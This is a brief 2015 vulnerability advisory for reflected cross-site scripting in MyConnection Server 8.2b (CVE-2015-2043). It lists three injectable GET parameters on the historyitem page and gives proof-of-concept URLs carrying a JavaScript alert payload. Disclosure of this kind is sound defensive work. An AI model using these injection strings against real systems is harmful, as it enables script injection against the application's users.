MyConnection Server 8.2b Cross Site Scripting

                							

                Title:     MyConnection Server 8.2b GET Reflected XSS
Severity:   High
CVE-ID:   CVE-2015-2043
Release Date:  23 February 2015 
Author:   Kenneth F. Belva
Websites:  http://silverbackventuresllc.com
    http://xssWarrior.com 
    http://securitymaverick.com
Twitter:   @infosecmaverick
Contact:  Please use website contact form.
Mail: 
URL:     http://www.myconnectionserver.com/
Vendor: 
Remote Exploit:  Yes

Discovered with: xssWarrior - http://xssWarrior.com

Description:
============

The application MyConnection Server 8.2b suffers from XSS vulnerabilities in three fields in the historyitem page. The three fields are:

bt=
variable=
et=



Proof of Concept :
==================


http://vulnsite.com/myspeed/db/historyitem?bt="');+alert(10);+//
http://vulnsite.com/myspeed/db/historyitem?variable="');+alert(10);+//
http://vulnsite.com/myspeed/db/historyitem?et="');+alert(10);+//

<p>